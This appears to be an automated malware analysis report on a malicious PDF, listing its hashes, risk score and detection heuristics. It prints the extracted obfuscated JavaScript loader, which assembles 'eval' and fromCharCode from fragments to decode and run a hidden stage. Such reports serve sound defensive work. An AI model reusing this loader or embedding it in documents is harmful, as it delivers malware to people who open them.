Malicious PDF — malware analysis report

Static analysis result for SHA-256 53f70cb9c64cb7f6…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2026-05-08
MD5: 9521136dff4623fb54b7acfef0951bea SHA-1: aa58c4525a67dc804d00be22ab5a403b895d4a1e SHA-256: 53f70cb9c64cb7f6fff011c77a7ffd410db17005ac722ae31d5788b6d98d017d
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF5B 434 bytes
SHA-256: 72c8deec4118097fc33a07681bb33aa9b3622ed67064fe66703bdd92f7ecf206
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
momby=e('ti'.concat(v[4],t));
q=momby[v](a.length-6,a.length+2);
dfn=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=momby[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	nflar = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(dfn(nflar));
	i++;
}
e(s2);

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